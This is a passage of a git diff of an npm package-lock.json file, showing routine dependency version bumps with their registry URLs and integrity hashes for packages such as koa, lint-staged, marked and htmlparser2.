"sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", - "dev": true - }, - "htmlparser2": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", - "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", - "dev": true, - "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.0.0", - "domutils": "^2.5.2", - "entities": "^2.0.0" - } - } + "htmlparser2": "^7.1.2" } }, "eslint-plugin-import": { @@ -6522,9 +5510,9 @@ "dev": true }, "eslint-plugin-wc": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/eslint-plugin-wc/-/eslint-plugin-wc-1.3.1.tgz", - "integrity": "sha512-2y+ezPwKFm470Pq2dvdkHXEjzCSqo6B2Iqh9gJQFGXs1kvvcYXR+gDvJNICI68utlszVUakt0DYG83uzJnfCKg==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/eslint-plugin-wc/-/eslint-plugin-wc-1.3.2.tgz", + "integrity": "sha512-/Tt3kIXBp1jh06xYtRqPwAvpNxVVk9YtbcFCKEgLa5l3GY+urZyn376pISaaZxkm9HVD3AIPOF5i9/uFwyF0Zw==", "dev": true, "requires": { "is-valid-element-name": "^1.0.0", @@ -6738,6 +5726,11 @@ "version": "1.2.2", "resolved": "https://registry.npmjs.org/acorn/-/acorn-1.2.2.tgz", "integrity": "sha1-yM4n3grMdtiW0rH6099YjZ6C8BQ=" + }, + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" } } }, @@ -6772,16 +5765,10 @@ "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", "dev": true }, - "fast-safe-stringify": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", - "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", - "dev": true - }, "fastq": { - "version": "1.12.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.12.0.tgz", - "integrity": "sha512-VNX0QkHK3RsXVKr9KrlUv/FoTa0NdbYoHHl7uXHv2rzyHSlxjdNAKug2twd9luJxpcyNeAgf5iPPMutJO67Dfg==", + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", + "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", "dev": true, "requires": { "reusify": "^1.0.4" @@ -6811,12 +5798,13 @@ } }, "fetch-sparql-endpoint": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/fetch-sparql-endpoint/-/fetch-sparql-endpoint-2.3.1.tgz", - "integrity": "sha512-YGH73cbwkvj5g6A9CzIson5OFHql+leiW4b4ApdTQkzJIqzljAFBuWBKDEUmAbETqlWhY3poVj1jNEuIsnggTw==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fetch-sparql-endpoint/-/fetch-sparql-endpoint-2.3.2.tgz", + "integrity": "sha512-xKUdRDxmmpVYYFoN6XLK04E3wyDMtRKw2ny2d12ASkGiVqdRIMV1aHxG188cW3pi4/4W/ow5D6c7W62Z9rlwxQ==", "dev": true, "requires": { "@rdfjs/types": "*", + "@types/readable-stream": "^2.3.11", "@types/sparqljs": "^3.1.3", "abort-controller": "^3.0.0", "cross-fetch": "^3.0.6", @@ -6824,11 +5812,11 @@ "minimist": "^1.2.0", "n3": "^1.6.3", "rdf-string": "^1.6.0", + "readable-web-to-node-stream": "^3.0.2", "sparqljs": "^3.1.2", "sparqljson-parse": "^1.7.0", "sparqlxml-parse": "^1.5.0", - "stream-to-string": "^1.1.0", - "web-streams-node": "^0.4.0" + "stream-to-string": "^1.1.0" } }, "file-entry-cache": { @@ -6908,9 +5896,9 @@ "dev": true }, "follow-redirects": { - "version": "1.14.3", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.3.tgz", - "integrity": "sha512-3MkHxknWMUtb23apkgz/83fDoe+y+qr0TdgacGIA7bew+QLBo3vdgEN2xEsuXNivpFy4CyDhBBZnNZOtalmenw==", + "version": "1.14.4", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.4.tgz", + "integrity": "sha512-zwGkiSXC1MUJG/qmeIFH2HBJx9u0V46QGUe3YR1fXG8bXQxq7fLj0RjLZQ5nubr9qNJUZrH+xUcwXEoXNpfS+g==", "dev": true }, "foreach": { @@ -6939,14 +5927,6 @@ "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" - }, - "dependencies": { - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - } } }, "fs.realpath": { @@ -7032,32 +6012,6 @@ "through2": "^4.0.0" }, "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "dev": true, - "requires": { - "safe-buffer": "~5.2.0" - } - }, "through2": { "version": "4.0.2", "resolved": "https://registry.npmjs.org/through2/-/through2-4.0.2.tgz", @@ -7144,9 +6098,9 @@ "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" }, "graphql": { - "version": "15.5.3", - "resolved": "https://registry.npmjs.org/graphql/-/graphql-15.5.3.tgz", - "integrity": "sha512-sM+jXaO5KinTui6lbK/7b7H/Knj9BpjGxZ+Ki35v7YbUJxxdBCUqNM0h3CRVU1ZF9t5lNiBzvBCSYPvIwxPOQA==", + "version": "15.6.0", + "resolved": "https://registry.npmjs.org/graphql/-/graphql-15.6.0.tgz", + "integrity": "sha512-WJR872Zlc9hckiEPhXgyUftXH48jp2EjO5tgBBOyNMRJZ9fviL2mJBD6CAysk6N5S0r9BTs09Qk39nnJBkvOXQ==", "dev": true }, "graphql-ld": { @@ -7203,11 +6157,6 @@ "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==", "dev": true }, - "has-color": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/has-color/-/has-color-0.1.7.tgz", - "integrity": "sha1-ZxRKUmDDT8PMpnfQQdr1L+e3iy8=" - }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -7258,14 +6207,6 @@ "requires": { "inherits": "^2.0.3", "minimalistic-assert": "^1.0.1" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - } } }, "he": { @@ -7290,13 +6231,13 @@ "dev": true }, "htmlparser2": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.1.1.tgz", - "integrity": "sha512-hZb0lfG0hbhR/hB879zbBr8Opv0Be9Zp+JYHgqTw5epF++aotu/zmMTPLy/60iJyR1MaD/3pYRp7xYteXsZMEA==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.1.2.tgz", + "integrity": "sha512-d6cqsbJba2nRdg8WW2okyD4ceonFHn9jLFxhwlNcLhQWcFPdxXeJulgOLjLKtAK9T6ahd+GQNZwG9fjmGW7lyg==", "dev": true, "requires": { "domelementtype": "^2.0.1", - "domhandler": "^4.0.0", + "domhandler": "^4.2.2", "domutils": "^2.8.0", "entities": "^3.0.1" } @@ -7329,12 +6270,6 @@ "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", "dev": true - }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true } } }, @@ -7378,9 +6313,9 @@ "dev": true }, "husky": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/husky/-/husky-6.0.0.tgz", - "integrity": "sha512-SQS2gDTB7tBN486QSoKPKQItZw97BMOd+Kdb6ghfpBc0yXyzrddI0oDV5MkDAbuB4X2mO3/nj60TRMcYxwzZeQ==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/husky/-/husky-7.0.2.tgz", + "integrity": "sha512-8yKEWNX4z2YsofXAMT7KvA1g8p+GxtB1ffV8XtpAEGuXNAbCV5wdNKH+qTpw8SM9fh4aMPDR+yQuKfgnreyZlg==", "dev": true }, "iconv-lite": { @@ -7464,9 +6399,9 @@ } }, "inherits": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz", - "integrity": "sha1-sX0I0ya0Qj5Wjv9xn5GwscvfafE=" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" }, "ini": { "version": "1.3.8", @@ -7787,12 +6722,6 @@ "text-extensions": "^1.0.0" } }, - "is-unicode-supported": { - "version": "0.1.0", - "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", - "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", - "dev": true - }, "is-valid-element-name": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-valid-element-name/-/is-valid-element-name-1.0.0.tgz", @@ -7812,9 +6741,10 @@ } }, "isarray": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", - "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=" + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=", + "dev": true }, "isbinaryfile": { "version": "4.0.8", @@ -7829,9 +6759,9 @@ "dev": true }, "istanbul-lib-coverage": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.0.tgz", - "integrity": "sha512-UiUIqxMgRDET6eR+o5HbfRYP1l0hqkWOs7vNxC/mggutCMUIhWMm8gAHb8tHlyfD3/l6rlgNA5cKdDzEAf6hEg==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.0.1.tgz", + "integrity": "sha512-GvCYYTxaCPqwMjobtVcVKvSHtAGe48MNhGjpK8LtVF8K0ISX7hCKl85LgtuaSneWVyQmaGcW3iXVV3GaZSLpmQ==", "dev": true }, "istanbul-lib-report": { @@ -7946,14 +6876,6 @@ "requires": { "graceful-fs": "^4.1.6", "universalify": "^2.0.0" - }, - "dependencies": { - "universalify": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", - "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", - "dev": true - } } }, "jsonify": { @@ -8008,26 +6930,12 @@ "jsonld-context-parser": "^2.0.0" } }, - "jsonlint": { - "version": "1.6.3", - "resolved": "https://registry.npmjs.org/jsonlint/-/jsonlint-1.6.3.tgz", - "integrity": "sha512-jMVTMzP+7gU/IyC6hvKyWpUU8tmTkK5b3BPNuMI9U8Sit+YAWLlZwB6Y6YrdCxfg2kNz05p3XY3Bmm4m26Nv3A==", - "requires": { - "JSV": "^4.0.x", - "nomnom": "^1.5.x" - } - }, "jsonparse": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=", "dev": true }, - "jsrsasign": { - "version": "10.4.0", - "resolved": "https://registry.npmjs.org/jsrsasign/-/jsrsasign-10.4.0.tgz", - "integrity": "sha512-C8qLhiAssh/b74KJpGhWuFGG9cFhJqMCVuuHXRibb3Z5vPuAW0ue0jUirpoExCdpdhv4nD3sZ1DAwJURYJTm9g==" - }, "jstransform": { "version": "11.0.3", "resolved": "https://registry.npmjs.org/jstransform/-/jstransform-11.0.3.tgz", @@ -8069,9 +6977,9 @@ "dev": true }, "koa": { - "version": "2.13.1", - "resolved": "https://registry.npmjs.org/koa/-/koa-2.13.1.tgz", - "integrity": "sha512-Lb2Dloc72auj5vK4X4qqL7B5jyDPQaZucc9sR/71byg7ryoD1NCaCm63CShk9ID9quQvDEi1bGR/iGjCG7As3w==", + "version": "2.13.3", + "resolved": "https://registry.npmjs.org/koa/-/koa-2.13.3.tgz", + "integrity": "sha512-XhXIoR+ylAwqG3HhXwnMPQAM/4xfywz52OvxZNmxmTWGGHsvmBv4NSIhURha6yMuvEex1WdtplUTHnxnKpQiGw==", "dev": true, "requires": { "accepts": "^1.3.5", @@ -8079,7 +6987,7 @@ "content-disposition": "~0.5.2", "content-type": "^1.0.4", "cookies": "~0.8.0", - "debug": "~3.1.0", + "debug": "^4.3.2", "delegates": "^1.0.0", "depd": "^2.0.0", "destroy": "^1.0.4", @@ -8090,7 +6998,7 @@ "http-errors": "^1.6.3", "is-generator-function": "^1.0.7", "koa-compose": "^4.1.0", - "koa-convert": "^1.2.0", + "koa-convert": "^2.0.0", "on-finished": "^2.3.0", "only": "~0.0.2", "parseurl": "^1.3.2", @@ -8100,13 +7008,19 @@ }, "dependencies": { "debug": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", - "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz", + "integrity": "sha512-mOp8wKcvj7XxC78zLgw/ZA+6TSgkoE2C/ienthhRD298T7UNwAg9diBpLRxC0mOezLl4B0xV7M0cCO6P/O0Xhw==", "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true } } }, @@ -8117,24 +7031,13 @@ "dev": true }, "koa-convert": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/koa-convert/-/koa-convert-1.2.0.tgz", - "integrity": "sha1-2kCHXfSd4FOQmNFwC1CCDOvNIdA=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/koa-convert/-/koa-convert-2.0.0.tgz", + "integrity": "sha512-asOvN6bFlSnxewce2e/DK3p4tltyfC4VM7ZwuTuepI7dEQVcvpyFuBcEARu1+Hxg8DIwytce2n7jrZtRlPrARA==", "dev": true, "requires": { "co": "^4.6.0", - "koa-compose": "^3.0.0" - }, - "dependencies": { - "koa-compose": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/koa-compose/-/koa-compose-3.2.1.tgz", - "integrity": "sha1-qFzLQLfZhtjlo0Wzoazo6rz1Tec=", - "dev": true, - "requires": { - "any-promise": "^1.1.0" - } - } + "koa-compose": "^4.1.0" } }, "koa-etag": { @@ -8246,31 +7149,6 @@ "inherits": "^2.0.4", "readable-stream": "^3.4.0", "xtend": "^4.0.2" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "string_decoder": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", - "requires": { - "safe-buffer": "~5.2.0" - } - } } }, "level-js": { @@ -8282,13 +7160,6 @@ "buffer": "^5.5.0", "inherits": "^2.0.3", "ltgt": "^2.1.2" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" - } } }, "level-packager": { @@ -8373,65 +7244,31 @@ "dev": true }, "lint-staged": { - "version": "11.1.2", - "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.1.2.tgz", - "integrity": "sha512-6lYpNoA9wGqkL6Hew/4n1H6lRqF3qCsujVT0Oq5Z4hiSAM7S6NksPJ3gnr7A7R52xCtiZMcEUNNQ6d6X5Bvh9w==", + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-11.2.0.tgz", + "integrity": "sha512-0KIcRuO4HQS2Su7qWtjrfTXgSklvyIb9Fk9qVWRZkGHa5S81Vj6WBbs+ogQBvHUwLJYq1eQ4R+H82GSak4OM7w==", "dev": true, "requires": { - "chalk": "^4.1.1", - "cli-truncate": "^2.1.0", - "commander": "^7.2.0", - "cosmiconfig": "^7.0.0", - "debug": "^4.3.1", + "cli-truncate": "2.1.0", + "colorette": "^1.4.0", + "commander": "^8.2.0", + "cosmiconfig": "^7.0.1", + "debug": "^4.3.2", "enquirer": "^2.3.6", - "execa": "^5.0.0", - "listr2": "^3.8.2", - "log-symbols": "^4.1.0", + "execa": "^5.1.1", + "listr2": "^3.12.2", "micromatch": "^4.0.4", "normalize-path": "^3.0.0", "please-upgrade-node": "^3.2.0", "string-argv": "0.3.1", - "stringify-object": "^3.3.0" + "stringify-object": "3.3.0", + "supports-color": "8.1.1" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "commander": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", - "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz", + "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==", "dev": true }, "debug": { @@ -8443,32 +7280,31 @@ "ms": "2.1.2" } }, - "log-symbols": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", - "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", - "dev": true, - "requires": { - "chalk": "^4.1.0", - "is-unicode-supported": "^0.1.0" - } - }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } } } }, "listr2": { - "version": "3.11.1", - "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.11.1.tgz", - "integrity": "sha512-ZXQvQfmH9iWLlb4n3hh31yicXDxlzB0pE7MM1zu6kgbVL4ivEsO4H8IPh4E682sC8RjnYO9anose+zT52rrpyg==", + "version": "3.12.2", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.12.2.tgz", + "integrity": "sha512-64xC2CJ/As/xgVI3wbhlPWVPx0wfTqbUAkpb7bjDi0thSWMqrf07UFhrfsGoo8YSXmF049Rp9C0cjLC8rZxK9A==", "dev": true, "requires": { "cli-truncate": "^2.1.0", - "colorette": "^1.2.2", + "colorette": "^1.4.0", "log-update": "^4.0.0", "p-map": "^4.0.0", "rxjs": "^6.6.7", @@ -8627,39 +7463,6 @@ "wrap-ansi": "^6.2.0" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "strip-ansi": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", - "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", - "dev": true, - "requires": { - "ansi-regex": "^5.0.0" - } - }, "wrap-ansi": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz", @@ -8674,15 +7477,15 @@ } }, "logform": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/logform/-/logform-2.2.0.tgz", - "integrity": "sha512-N0qPlqfypFx7UHNn4B3lzS/b0uLqt2hmuoa+PpuXNYgozdJYAyauF5Ky0BWVjrxDlMWiT3qN4zPq3vVAfZy7Yg==", + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.3.0.tgz", + "integrity": "sha512-graeoWUH2knKbGthMtuG1EfaSPMZFZBIrhuJHhkS5ZseFBrc7DupCzihOQAzsK/qIKPQaPJ/lFQFctILUY5ARQ==", "dev": true, "requires": { "colors": "^1.2.1", - "fast-safe-stringify": "^2.0.4", "fecha": "^4.2.0", "ms": "^2.1.1", + "safe-stable-stringify": "^1.1.0", "triple-beam": "^1.3.0" }, "dependencies": { @@ -8730,16 +7533,22 @@ } } }, + "make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==", + "dev": true + }, "map-obj": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.2.1.tgz", - "integrity": "sha512-+WA2/1sPmDj1dlvvJmB5G6JKfY9dpn7EVBUL06+y6PoljPkh+6V1QihwxNkbcGxCRjt2b0F9K0taiCuo7MbdFQ==", + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", + "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", "dev": true }, "marked": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/marked/-/marked-0.7.0.tgz", - "integrity": "sha512-c+yYdCZJQrsRjTPhUx7VKkApw9bwDkNbHUKo1ovgcfDjb2kc8rLuRbIFyXL5WOEUwzSSKo3IXpph2K6DqB/KZg==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/marked/-/marked-2.1.3.tgz", + "integrity": "sha512-/Q+7MGzaETqifOMWYEA7HVMaZb4XbcRfaOzcSsHZEith83KGlvaSG33u0SKu89Mj5h+T8V2hM+8O45Qc5XTgwA==" }, "marky": { "version": "1.2.2", @@ -9220,34 +8029,6 @@ "requires": { "queue-microtask": "^1.1.2", "readable-stream": "^3.6.0" - }, - "dependencies": { - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": 